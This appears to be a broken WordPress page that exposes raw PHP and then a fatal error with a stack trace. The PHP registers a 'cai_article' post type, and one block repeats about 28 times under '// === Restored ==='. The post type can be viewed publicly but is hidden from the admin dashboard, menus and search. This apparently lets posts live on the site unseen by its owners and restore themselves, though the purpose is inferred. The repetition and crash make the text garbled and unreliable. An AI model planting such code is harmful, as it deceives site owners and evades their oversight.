"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
Fatal error: Uncaught Error: Call to undefined function oceanwp_error_page_template_content() in /home/clients/ed8a52a3a59c12aa80632f78661e7b50/web/wp-content/themes/oceanwp/404.php:15
Stack trace:
#0 /home/clients/ed8a52a3a59c12aa80632f78661e7b50/web/wp-includes/template-loader.php(132): include()
#1 /home/clients/ed8a52a3a59c12aa80632f78661e7b50/web/wp-blog-header.php(19): require_once('/home/clients/e...')
#2 /home/clients/ed8a52a3a59c12aa80632f78661e7b50/web/index.php(17): require('/home/clients/e...')
#3 {main}
thrown in /home/clients/ed8a52a3a59c12aa80632f78661e7b50/web/wp-content/themes/oceanwp/404.php on line 15